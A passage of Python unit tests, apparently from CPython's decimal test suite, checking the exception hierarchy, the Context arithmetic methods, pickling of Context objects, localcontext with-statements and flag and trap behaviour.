self.assertRaises(TypeError, D(1).canonical, xyz="x") def test_exception_hierarchy(self): decimal = self.decimal DecimalException = decimal.DecimalException InvalidOperation = decimal.InvalidOperation FloatOperation = decimal.FloatOperation DivisionByZero = decimal.DivisionByZero Overflow = decimal.Overflow Underflow = decimal.Underflow Subnormal = decimal.Subnormal Inexact = decimal.Inexact Rounded = decimal.Rounded Clamped = decimal.Clamped self.assertTrue(issubclass(DecimalException, ArithmeticError)) self.assertTrue(issubclass(InvalidOperation, DecimalException)) self.assertTrue(issubclass(FloatOperation, DecimalException)) self.assertTrue(issubclass(FloatOperation, TypeError)) self.assertTrue(issubclass(DivisionByZero, DecimalException)) self.assertTrue(issubclass(DivisionByZero, ZeroDivisionError)) self.assertTrue(issubclass(Overflow, Rounded)) self.assertTrue(issubclass(Overflow, Inexact)) self.assertTrue(issubclass(Overflow, DecimalException)) self.assertTrue(issubclass(Underflow, Inexact)) self.assertTrue(issubclass(Underflow, Rounded)) self.assertTrue(issubclass(Underflow, Subnormal)) self.assertTrue(issubclass(Underflow, DecimalException)) self.assertTrue(issubclass(Subnormal, DecimalException)) self.assertTrue(issubclass(Inexact, DecimalException)) self.assertTrue(issubclass(Rounded, DecimalException)) self.assertTrue(issubclass(Clamped, DecimalException)) self.assertTrue(issubclass(decimal.ConversionSyntax, InvalidOperation)) self.assertTrue(issubclass(decimal.DivisionImpossible, InvalidOperation)) self.assertTrue(issubclass(decimal.DivisionUndefined, InvalidOperation)) self.assertTrue(issubclass(decimal.DivisionUndefined, ZeroDivisionError)) self.assertTrue(issubclass(decimal.InvalidContext, InvalidOperation)) class CPythonAPItests(PythonAPItests): decimal = C class PyPythonAPItests(PythonAPItests): decimal = P class ContextAPItests(unittest.TestCase): def test_none_args(self): Context = self.decimal.Context InvalidOperation = self.decimal.InvalidOperation DivisionByZero = self.decimal.DivisionByZero Overflow = self.decimal.Overflow c1 = Context() c2 = Context(prec=None, rounding=None, Emax=None, Emin=None, capitals=None, clamp=None, flags=None, traps=None) for c in [c1, c2]: self.assertEqual(c.prec, 28) self.assertEqual(c.rounding, ROUND_HALF_EVEN) self.assertEqual(c.Emax, 999999) self.assertEqual(c.Emin, -999999) self.assertEqual(c.capitals, 1) self.assertEqual(c.clamp, 0) assert_signals(self, c, 'flags', []) assert_signals(self, c, 'traps', [InvalidOperation, DivisionByZero, Overflow]) @cpython_only @requires_legacy_unicode_capi @warnings_helper.ignore_warnings(category=DeprecationWarning) def test_from_legacy_strings(self): import _testcapi c = self.decimal.Context() for rnd in RoundingModes: c.rounding = _testcapi.unicode_legacy_string(rnd) self.assertEqual(c.rounding, rnd) s = _testcapi.unicode_legacy_string('') self.assertRaises(TypeError, setattr, c, 'rounding', s) s = _testcapi.unicode_legacy_string('ROUND_\x00UP') self.assertRaises(TypeError, setattr, c, 'rounding', s) def test_pickle(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): Context = self.decimal.Context savedecimal = sys.modules['decimal'] # Round trip sys.modules['decimal'] = self.decimal c = Context() e = pickle.loads(pickle.dumps(c, proto)) self.assertEqual(c.prec, e.prec) self.assertEqual(c.Emin, e.Emin) self.assertEqual(c.Emax, e.Emax) self.assertEqual(c.rounding, e.rounding) self.assertEqual(c.capitals, e.capitals) self.assertEqual(c.clamp, e.clamp) self.assertEqual(c.flags, e.flags) self.assertEqual(c.traps, e.traps) # Test interchangeability combinations = [(C, P), (P, C)] if C else [(P, P)] for dumper, loader in combinations: for ri, _ in enumerate(RoundingModes): for fi, _ in enumerate(OrderedSignals[dumper]): for ti, _ in enumerate(OrderedSignals[dumper]): prec = random.randrange(1, 100) emin = random.randrange(-100, 0) emax = random.randrange(1, 100) caps = random.randrange(2) clamp = random.randrange(2) # One module dumps sys.modules['decimal'] = dumper c = dumper.Context( prec=prec, Emin=emin, Emax=emax, rounding=RoundingModes[ri], capitals=caps, clamp=clamp, flags=OrderedSignals[dumper][:fi], traps=OrderedSignals[dumper][:ti] ) s = pickle.dumps(c, proto) # The other module loads sys.modules['decimal'] = loader d = pickle.loads(s) self.assertIsInstance(d, loader.Context) self.assertEqual(d.prec, prec) self.assertEqual(d.Emin, emin) self.assertEqual(d.Emax, emax) self.assertEqual(d.rounding, RoundingModes[ri]) self.assertEqual(d.capitals, caps) self.assertEqual(d.clamp, clamp) assert_signals(self, d, 'flags', OrderedSignals[loader][:fi]) assert_signals(self, d, 'traps', OrderedSignals[loader][:ti]) sys.modules['decimal'] = savedecimal def test_equality_with_other_types(self): Decimal = self.decimal.Decimal self.assertIn(Decimal(10), ['a', 1.0, Decimal(10), (1,2), {}]) self.assertNotIn(Decimal(10), ['a', 1.0, (1,2), {}]) def test_copy(self): # All copies should be deep Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.copy() self.assertNotEqual(id(c), id(d)) self.assertNotEqual(id(c.flags), id(d.flags)) self.assertNotEqual(id(c.traps), id(d.traps)) k1 = set(c.flags.keys()) k2 = set(d.flags.keys()) self.assertEqual(k1, k2) self.assertEqual(c.flags, d.flags) def test__clamp(self): # In Python 3.2, the private attribute `_clamp` was made # public (issue 8540), with the old `_clamp` becoming a # property wrapping `clamp`. For the duration of Python 3.2 # only, the attribute should be gettable/settable via both # `clamp` and `_clamp`; in Python 3.3, `_clamp` should be # removed. Context = self.decimal.Context c = Context() self.assertRaises(AttributeError, getattr, c, '_clamp') def test_abs(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.abs(Decimal(-1)) self.assertEqual(c.abs(-1), d) self.assertRaises(TypeError, c.abs, '-1') def test_add(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.add(Decimal(1), Decimal(1)) self.assertEqual(c.add(1, 1), d) self.assertEqual(c.add(Decimal(1), 1), d) self.assertEqual(c.add(1, Decimal(1)), d) self.assertRaises(TypeError, c.add, '1', 1) self.assertRaises(TypeError, c.add, 1, '1') def test_compare(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.compare(Decimal(1), Decimal(1)) self.assertEqual(c.compare(1, 1), d) self.assertEqual(c.compare(Decimal(1), 1), d) self.assertEqual(c.compare(1, Decimal(1)), d) self.assertRaises(TypeError, c.compare, '1', 1) self.assertRaises(TypeError, c.compare, 1, '1') def test_compare_signal(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.compare_signal(Decimal(1), Decimal(1)) self.assertEqual(c.compare_signal(1, 1), d) self.assertEqual(c.compare_signal(Decimal(1), 1), d) self.assertEqual(c.compare_signal(1, Decimal(1)), d) self.assertRaises(TypeError, c.compare_signal, '1', 1) self.assertRaises(TypeError, c.compare_signal, 1, '1') def test_compare_total(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.compare_total(Decimal(1), Decimal(1)) self.assertEqual(c.compare_total(1, 1), d) self.assertEqual(c.compare_total(Decimal(1), 1), d) self.assertEqual(c.compare_total(1, Decimal(1)), d) self.assertRaises(TypeError, c.compare_total, '1', 1) self.assertRaises(TypeError, c.compare_total, 1, '1') def test_compare_total_mag(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.compare_total_mag(Decimal(1), Decimal(1)) self.assertEqual(c.compare_total_mag(1, 1), d) self.assertEqual(c.compare_total_mag(Decimal(1), 1), d) self.assertEqual(c.compare_total_mag(1, Decimal(1)), d) self.assertRaises(TypeError, c.compare_total_mag, '1', 1) self.assertRaises(TypeError, c.compare_total_mag, 1, '1') def test_copy_abs(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.copy_abs(Decimal(-1)) self.assertEqual(c.copy_abs(-1), d) self.assertRaises(TypeError, c.copy_abs, '-1') def test_copy_decimal(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.copy_decimal(Decimal(-1)) self.assertEqual(c.copy_decimal(-1), d) self.assertRaises(TypeError, c.copy_decimal, '-1') def test_copy_negate(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.copy_negate(Decimal(-1)) self.assertEqual(c.copy_negate(-1), d) self.assertRaises(TypeError, c.copy_negate, '-1') def test_copy_sign(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.copy_sign(Decimal(1), Decimal(-2)) self.assertEqual(c.copy_sign(1, -2), d) self.assertEqual(c.copy_sign(Decimal(1), -2), d) self.assertEqual(c.copy_sign(1, Decimal(-2)), d) self.assertRaises(TypeError, c.copy_sign, '1', -2) self.assertRaises(TypeError, c.copy_sign, 1, '-2') def test_divide(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.divide(Decimal(1), Decimal(2)) self.assertEqual(c.divide(1, 2), d) self.assertEqual(c.divide(Decimal(1), 2), d) self.assertEqual(c.divide(1, Decimal(2)), d) self.assertRaises(TypeError, c.divide, '1', 2) self.assertRaises(TypeError, c.divide, 1, '2') def test_divide_int(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.divide_int(Decimal(1), Decimal(2)) self.assertEqual(c.divide_int(1, 2), d) self.assertEqual(c.divide_int(Decimal(1), 2), d) self.assertEqual(c.divide_int(1, Decimal(2)), d) self.assertRaises(TypeError, c.divide_int, '1', 2) self.assertRaises(TypeError, c.divide_int, 1, '2') def test_divmod(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.divmod(Decimal(1), Decimal(2)) self.assertEqual(c.divmod(1, 2), d) self.assertEqual(c.divmod(Decimal(1), 2), d) self.assertEqual(c.divmod(1, Decimal(2)), d) self.assertRaises(TypeError, c.divmod, '1', 2) self.assertRaises(TypeError, c.divmod, 1, '2') def test_exp(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.exp(Decimal(10)) self.assertEqual(c.exp(10), d) self.assertRaises(TypeError, c.exp, '10') def test_fma(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.fma(Decimal(2), Decimal(3), Decimal(4)) self.assertEqual(c.fma(2, 3, 4), d) self.assertEqual(c.fma(Decimal(2), 3, 4), d) self.assertEqual(c.fma(2, Decimal(3), 4), d) self.assertEqual(c.fma(2, 3, Decimal(4)), d) self.assertEqual(c.fma(Decimal(2), Decimal(3), 4), d) self.assertRaises(TypeError, c.fma, '2', 3, 4) self.assertRaises(TypeError, c.fma, 2, '3', 4) self.assertRaises(TypeError, c.fma, 2, 3, '4') # Issue 12079 for Context.fma ... self.assertRaises(TypeError, c.fma, Decimal('Infinity'), Decimal(0), "not a decimal") self.assertRaises(TypeError, c.fma, Decimal(1), Decimal('snan'), 1.222) # ... and for Decimal.fma. self.assertRaises(TypeError, Decimal('Infinity').fma, Decimal(0), "not a decimal") self.assertRaises(TypeError, Decimal(1).fma, Decimal('snan'), 1.222) def test_is_finite(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_finite(Decimal(10)) self.assertEqual(c.is_finite(10), d) self.assertRaises(TypeError, c.is_finite, '10') def test_is_infinite(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_infinite(Decimal(10)) self.assertEqual(c.is_infinite(10), d) self.assertRaises(TypeError, c.is_infinite, '10') def test_is_nan(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_nan(Decimal(10)) self.assertEqual(c.is_nan(10), d) self.assertRaises(TypeError, c.is_nan, '10') def test_is_normal(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_normal(Decimal(10)) self.assertEqual(c.is_normal(10), d) self.assertRaises(TypeError, c.is_normal, '10') def test_is_qnan(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_qnan(Decimal(10)) self.assertEqual(c.is_qnan(10), d) self.assertRaises(TypeError, c.is_qnan, '10') def test_is_signed(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_signed(Decimal(10)) self.assertEqual(c.is_signed(10), d) self.assertRaises(TypeError, c.is_signed, '10') def test_is_snan(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_snan(Decimal(10)) self.assertEqual(c.is_snan(10), d) self.assertRaises(TypeError, c.is_snan, '10') def test_is_subnormal(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_subnormal(Decimal(10)) self.assertEqual(c.is_subnormal(10), d) self.assertRaises(TypeError, c.is_subnormal, '10') def test_is_zero(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.is_zero(Decimal(10)) self.assertEqual(c.is_zero(10), d) self.assertRaises(TypeError, c.is_zero, '10') def test_ln(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.ln(Decimal(10)) self.assertEqual(c.ln(10), d) self.assertRaises(TypeError, c.ln, '10') def test_log10(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.log10(Decimal(10)) self.assertEqual(c.log10(10), d) self.assertRaises(TypeError, c.log10, '10') def test_logb(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.logb(Decimal(10)) self.assertEqual(c.logb(10), d) self.assertRaises(TypeError, c.logb, '10') def test_logical_and(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.logical_and(Decimal(1), Decimal(1)) self.assertEqual(c.logical_and(1, 1), d) self.assertEqual(c.logical_and(Decimal(1), 1), d) self.assertEqual(c.logical_and(1, Decimal(1)), d) self.assertRaises(TypeError, c.logical_and, '1', 1) self.assertRaises(TypeError, c.logical_and, 1, '1') def test_logical_invert(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.logical_invert(Decimal(1000)) self.assertEqual(c.logical_invert(1000), d) self.assertRaises(TypeError, c.logical_invert, '1000') def test_logical_or(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.logical_or(Decimal(1), Decimal(1)) self.assertEqual(c.logical_or(1, 1), d) self.assertEqual(c.logical_or(Decimal(1), 1), d) self.assertEqual(c.logical_or(1, Decimal(1)), d) self.assertRaises(TypeError, c.logical_or, '1', 1) self.assertRaises(TypeError, c.logical_or, 1, '1') def test_logical_xor(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.logical_xor(Decimal(1), Decimal(1)) self.assertEqual(c.logical_xor(1, 1), d) self.assertEqual(c.logical_xor(Decimal(1), 1), d) self.assertEqual(c.logical_xor(1, Decimal(1)), d) self.assertRaises(TypeError, c.logical_xor, '1', 1) self.assertRaises(TypeError, c.logical_xor, 1, '1') def test_max(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.max(Decimal(1), Decimal(2)) self.assertEqual(c.max(1, 2), d) self.assertEqual(c.max(Decimal(1), 2), d) self.assertEqual(c.max(1, Decimal(2)), d) self.assertRaises(TypeError, c.max, '1', 2) self.assertRaises(TypeError, c.max, 1, '2') def test_max_mag(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.max_mag(Decimal(1), Decimal(2)) self.assertEqual(c.max_mag(1, 2), d) self.assertEqual(c.max_mag(Decimal(1), 2), d) self.assertEqual(c.max_mag(1, Decimal(2)), d) self.assertRaises(TypeError, c.max_mag, '1', 2) self.assertRaises(TypeError, c.max_mag, 1, '2') def test_min(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.min(Decimal(1), Decimal(2)) self.assertEqual(c.min(1, 2), d) self.assertEqual(c.min(Decimal(1), 2), d) self.assertEqual(c.min(1, Decimal(2)), d) self.assertRaises(TypeError, c.min, '1', 2) self.assertRaises(TypeError, c.min, 1, '2') def test_min_mag(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.min_mag(Decimal(1), Decimal(2)) self.assertEqual(c.min_mag(1, 2), d) self.assertEqual(c.min_mag(Decimal(1), 2), d) self.assertEqual(c.min_mag(1, Decimal(2)), d) self.assertRaises(TypeError, c.min_mag, '1', 2) self.assertRaises(TypeError, c.min_mag, 1, '2') def test_minus(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.minus(Decimal(10)) self.assertEqual(c.minus(10), d) self.assertRaises(TypeError, c.minus, '10') def test_multiply(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.multiply(Decimal(1), Decimal(2)) self.assertEqual(c.multiply(1, 2), d) self.assertEqual(c.multiply(Decimal(1), 2), d) self.assertEqual(c.multiply(1, Decimal(2)), d) self.assertRaises(TypeError, c.multiply, '1', 2) self.assertRaises(TypeError, c.multiply, 1, '2') def test_next_minus(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.next_minus(Decimal(10)) self.assertEqual(c.next_minus(10), d) self.assertRaises(TypeError, c.next_minus, '10') def test_next_plus(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.next_plus(Decimal(10)) self.assertEqual(c.next_plus(10), d) self.assertRaises(TypeError, c.next_plus, '10') def test_next_toward(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.next_toward(Decimal(1), Decimal(2)) self.assertEqual(c.next_toward(1, 2), d) self.assertEqual(c.next_toward(Decimal(1), 2), d) self.assertEqual(c.next_toward(1, Decimal(2)), d) self.assertRaises(TypeError, c.next_toward, '1', 2) self.assertRaises(TypeError, c.next_toward, 1, '2') def test_normalize(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.normalize(Decimal(10)) self.assertEqual(c.normalize(10), d) self.assertRaises(TypeError, c.normalize, '10') def test_number_class(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() self.assertEqual(c.number_class(123), c.number_class(Decimal(123))) self.assertEqual(c.number_class(0), c.number_class(Decimal(0))) self.assertEqual(c.number_class(-45), c.number_class(Decimal(-45))) def test_plus(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.plus(Decimal(10)) self.assertEqual(c.plus(10), d) self.assertRaises(TypeError, c.plus, '10') def test_power(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.power(Decimal(1), Decimal(4)) self.assertEqual(c.power(1, 4), d) self.assertEqual(c.power(Decimal(1), 4), d) self.assertEqual(c.power(1, Decimal(4)), d) self.assertEqual(c.power(Decimal(1), Decimal(4)), d) self.assertRaises(TypeError, c.power, '1', 4) self.assertRaises(TypeError, c.power, 1, '4') self.assertEqual(c.power(modulo=5, b=8, a=2), 1) def test_quantize(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.quantize(Decimal(1), Decimal(2)) self.assertEqual(c.quantize(1, 2), d) self.assertEqual(c.quantize(Decimal(1), 2), d) self.assertEqual(c.quantize(1, Decimal(2)), d) self.assertRaises(TypeError, c.quantize, '1', 2) self.assertRaises(TypeError, c.quantize, 1, '2') def test_remainder(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.remainder(Decimal(1), Decimal(2)) self.assertEqual(c.remainder(1, 2), d) self.assertEqual(c.remainder(Decimal(1), 2), d) self.assertEqual(c.remainder(1, Decimal(2)), d) self.assertRaises(TypeError, c.remainder, '1', 2) self.assertRaises(TypeError, c.remainder, 1, '2') def test_remainder_near(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.remainder_near(Decimal(1), Decimal(2)) self.assertEqual(c.remainder_near(1, 2), d) self.assertEqual(c.remainder_near(Decimal(1), 2), d) self.assertEqual(c.remainder_near(1, Decimal(2)), d) self.assertRaises(TypeError, c.remainder_near, '1', 2) self.assertRaises(TypeError, c.remainder_near, 1, '2') def test_rotate(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.rotate(Decimal(1), Decimal(2)) self.assertEqual(c.rotate(1, 2), d) self.assertEqual(c.rotate(Decimal(1), 2), d) self.assertEqual(c.rotate(1, Decimal(2)), d) self.assertRaises(TypeError, c.rotate, '1', 2) self.assertRaises(TypeError, c.rotate, 1, '2') def test_sqrt(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.sqrt(Decimal(10)) self.assertEqual(c.sqrt(10), d) self.assertRaises(TypeError, c.sqrt, '10') def test_same_quantum(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.same_quantum(Decimal(1), Decimal(2)) self.assertEqual(c.same_quantum(1, 2), d) self.assertEqual(c.same_quantum(Decimal(1), 2), d) self.assertEqual(c.same_quantum(1, Decimal(2)), d) self.assertRaises(TypeError, c.same_quantum, '1', 2) self.assertRaises(TypeError, c.same_quantum, 1, '2') def test_scaleb(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.scaleb(Decimal(1), Decimal(2)) self.assertEqual(c.scaleb(1, 2), d) self.assertEqual(c.scaleb(Decimal(1), 2), d) self.assertEqual(c.scaleb(1, Decimal(2)), d) self.assertRaises(TypeError, c.scaleb, '1', 2) self.assertRaises(TypeError, c.scaleb, 1, '2') def test_shift(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.shift(Decimal(1), Decimal(2)) self.assertEqual(c.shift(1, 2), d) self.assertEqual(c.shift(Decimal(1), 2), d) self.assertEqual(c.shift(1, Decimal(2)), d) self.assertRaises(TypeError, c.shift, '1', 2) self.assertRaises(TypeError, c.shift, 1, '2') def test_subtract(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.subtract(Decimal(1), Decimal(2)) self.assertEqual(c.subtract(1, 2), d) self.assertEqual(c.subtract(Decimal(1), 2), d) self.assertEqual(c.subtract(1, Decimal(2)), d) self.assertRaises(TypeError, c.subtract, '1', 2) self.assertRaises(TypeError, c.subtract, 1, '2') def test_to_eng_string(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.to_eng_string(Decimal(10)) self.assertEqual(c.to_eng_string(10), d) self.assertRaises(TypeError, c.to_eng_string, '10') def test_to_sci_string(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.to_sci_string(Decimal(10)) self.assertEqual(c.to_sci_string(10), d) self.assertRaises(TypeError, c.to_sci_string, '10') def test_to_integral_exact(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.to_integral_exact(Decimal(10)) self.assertEqual(c.to_integral_exact(10), d) self.assertRaises(TypeError, c.to_integral_exact, '10') def test_to_integral_value(self): Decimal = self.decimal.Decimal Context = self.decimal.Context c = Context() d = c.to_integral_value(Decimal(10)) self.assertEqual(c.to_integral_value(10), d) self.assertRaises(TypeError, c.to_integral_value, '10') self.assertRaises(TypeError, c.to_integral_value, 10, 'x') class CContextAPItests(ContextAPItests): decimal = C class PyContextAPItests(ContextAPItests): decimal = P class ContextWithStatement(unittest.TestCase): # Can't do these as docstrings until Python 2.6 # as doctest can't handle __future__ statements def test_localcontext(self): # Use a copy of the current context in the block getcontext = self.decimal.getcontext localcontext = self.decimal.localcontext orig_ctx = getcontext() with localcontext() as enter_ctx: set_ctx = getcontext() final_ctx = getcontext() self.assertIs(orig_ctx, final_ctx, 'did not restore context correctly') self.assertIsNot(orig_ctx, set_ctx, 'did not copy the context') self.assertIs(set_ctx, enter_ctx, '__enter__ returned wrong context') def test_localcontextarg(self): # Use a copy of the supplied context in the block Context = self.decimal.Context getcontext = self.decimal.getcontext localcontext = self.decimal.localcontext localcontext = self.decimal.localcontext orig_ctx = getcontext() new_ctx = Context(prec=42) with localcontext(new_ctx) as enter_ctx: set_ctx = getcontext() final_ctx = getcontext() self.assertIs(orig_ctx, final_ctx, 'did not restore context correctly') self.assertEqual(set_ctx.prec, new_ctx.prec, 'did not set correct context') self.assertIsNot(new_ctx, set_ctx, 'did not copy the context') self.assertIs(set_ctx, enter_ctx, '__enter__ returned wrong context') def test_nested_with_statements(self): # Use a copy of the supplied context in the block Decimal = self.decimal.Decimal Context = self.decimal.Context getcontext = self.decimal.getcontext localcontext = self.decimal.localcontext Clamped = self.decimal.Clamped Overflow = self.decimal.Overflow orig_ctx = getcontext() orig_ctx.clear_flags() new_ctx = Context(Emax=384) with localcontext() as c1: self.assertEqual(c1.flags, orig_ctx.flags) self.assertEqual(c1.traps, orig_ctx.traps) c1.traps[Clamped] = True c1.Emin = -383 self.assertNotEqual(orig_ctx.Emin, -383) self.assertRaises(Clamped, c1.create_decimal, '0e-999') self.assertTrue(c1.flags[Clamped]) with localcontext(new_ctx) as c2: self.assertEqual(c2.flags, new_ctx.flags) self.assertEqual(c2.traps, new_ctx.traps) self.assertRaises(Overflow, c2.power, Decimal('3.4e200'), 2) self.assertFalse(c2.flags[Clamped]) self.assertTrue(c2.flags[Overflow]) del c2 self.assertFalse(c1.flags[Overflow]) del c1 self.assertNotEqual(orig_ctx.Emin, -383) self.assertFalse(orig_ctx.flags[Clamped]) self.assertFalse(orig_ctx.flags[Overflow]) self.assertFalse(new_ctx.flags[Clamped]) self.assertFalse(new_ctx.flags[Overflow]) def test_with_statements_gc1(self): localcontext = self.decimal.localcontext with localcontext() as c1: del c1 with localcontext() as c2: del c2 with localcontext() as c3: del c3 with localcontext() as c4: del c4 def test_with_statements_gc2(self): localcontext = self.decimal.localcontext with localcontext() as c1: with localcontext(c1) as c2: del c1 with localcontext(c2) as c3: del c2 with localcontext(c3) as c4: del c3 del c4 def test_with_statements_gc3(self): Context = self.decimal.Context localcontext = self.decimal.localcontext getcontext = self.decimal.getcontext setcontext = self.decimal.setcontext with localcontext() as c1: del c1 n1 = Context(prec=1) setcontext(n1) with localcontext(n1) as c2: del n1 self.assertEqual(c2.prec, 1) del c2 n2 = Context(prec=2) setcontext(n2) del n2 self.assertEqual(getcontext().prec, 2) n3 = Context(prec=3) setcontext(n3) self.assertEqual(getcontext().prec, 3) with localcontext(n3) as c3: del n3 self.assertEqual(c3.prec, 3) del c3 n4 = Context(prec=4) setcontext(n4) del n4 self.assertEqual(getcontext().prec, 4) with localcontext() as c4: self.assertEqual(c4.prec, 4) del c4 class CContextWithStatement(ContextWithStatement): decimal = C class PyContextWithStatement(ContextWithStatement): decimal = P class ContextFlags(unittest.TestCase): def test_flags_irrelevant(self): # check that the result (numeric result + flags raised) of an # arithmetic operation doesn't depend on the current flags Decimal = self.decimal.Decimal Context = self.decimal.Context Inexact = self.decimal.Inexact Rounded = self.decimal.Rounded Underflow = self.decimal.Underflow Clamped = self.decimal.Clamped Subnormal = self.decimal.Subnormal def raise_error(context, flag): if self.decimal == C: context.flags[flag] = True if context.traps[flag]: raise flag else: context._raise_error(flag) context = Context(prec=9, Emin = -425000000, Emax = 425000000, rounding=ROUND_HALF_EVEN, traps=[], flags=[]) # operations that raise various flags, in the form (function, arglist) operations = [ (context._apply, [Decimal("100E-425000010")]), (context.sqrt, [Decimal(2)]), (context.add, [Decimal("1.23456789"), Decimal("9.87654321")]), (context.multiply, [Decimal("1.23456789"), Decimal("9.87654321")]), (context.subtract, [Decimal("1.23456789"), Decimal("9.87654321")]), ] # try various flags individually, then a whole lot at once flagsets = [[Inexact], [Rounded], [Underflow], [Clamped], [Subnormal], [Inexact, Rounded, Underflow, Clamped, Subnormal]] for fn, args in operations: # find answer and flags raised using a clean context context.clear_flags() ans = fn(*args) flags = [k for k, v in context.flags.items() if v] for extra_flags in flagsets: # set flags, before calling operation context.clear_flags() for flag in extra_flags: raise_error(context, flag) new_ans = fn(*args) # flags that we expect to be set after the operation expected_flags = list(flags) for flag in extra_flags: if flag not in expected_flags: expected_flags.append(flag) expected_flags.sort(key=id) # flags we actually got new_flags = [k for k,v in context.flags.items() if v] new_flags.sort(key=id) self.assertEqual(ans, new_ans, "operation produces different answers depending on flags set: " + "expected %s, got %s." % (ans, new_ans)) self.assertEqual(new_flags, expected_flags, "operation raises different flags depending on flags set: " + "expected %s, got %s" % (expected_flags, new_flags)) def test_flag_comparisons(self): Context = self.decimal.Context Inexact = self.decimal.Inexact Rounded = self.decimal.Rounded c = Context() # Valid SignalDict self.assertNotEqual(c.flags, c.traps) self.assertNotEqual(c.traps, c.flags) c.flags = c.traps self.assertEqual(c.flags, c.traps) self.assertEqual(c.traps, c.flags) c.flags[Rounded] = True c.traps = c.flags self.assertEqual(c.flags, c.traps) self.assertEqual(c.traps, c.flags) d = {} d.update(c.flags) self.assertEqual(d, c.flags) self.assertEqual(c.flags, d) d[Inexact] = True self.assertNotEqual(d, c.flags) self.assertNotEqual(c.flags, d) # Invalid SignalDict d = {Inexact:False} self.assertNotEqual(d, c.flags) self.assertNotEqual(c.flags, d) d = ["xyz"] self.assertNotEqual(d, c.flags) self.assertNotEqual(c.flags, d) @requires_IEEE_754 def test_float_operation(self): Decimal = self.decimal.Decimal FloatOperation = self.decimal.FloatOperation localcontext = self.decimal.localcontext with localcontext() as c: ##### trap is off by default self.assertFalse(c.traps[FloatOperation]) # implicit conversion sets the flag c.clear_flags() self.assertEqual(Decimal(7.5), 7.5) self.assertTrue(c.flags[FloatOperation]) c.clear_flags() self.assertEqual(c.create_decimal(7.5), 7.5) self.assertTrue(c.flags[FloatOperation]) # explicit conversion does not set the flag c.clear_flags() x = Decimal.from_float(7.5) self.assertFalse(c.flags[FloatOperation]) # comparison sets the flag self.assertEqual(x, 7.5) self.assertTrue(c.flags[FloatOperation]) c.clear_flags() x = c.create_decimal_from_float(7.5) self.assertFalse(c.flags[FloatOperation]) self.assertEqual(x, 7.5) self.assertTrue(c.flags[FloatOperation]) ##### set the trap c.traps[FloatOperation] = True # implicit conversion raises c.clear_flags() self.assertRaises(FloatOperation, Decimal, 7.5) self.assertTrue(c.flags[FloatOperation]) c.clear_flags() self.assertRaises(FloatOperation, c.create_decimal, 7.5) self.assertTrue(c.flags[FloatOperation]) # explicit conversion is silent c.clear_flags() x = Decimal.from_float(7.5) self.assertFalse(c.flags[FloatOperation]) c.clear_flags() x = c.create_decimal_from_float(7.5) self.assertFalse(c.flags[FloatOperation]) def test_float_comparison(self): Decimal = 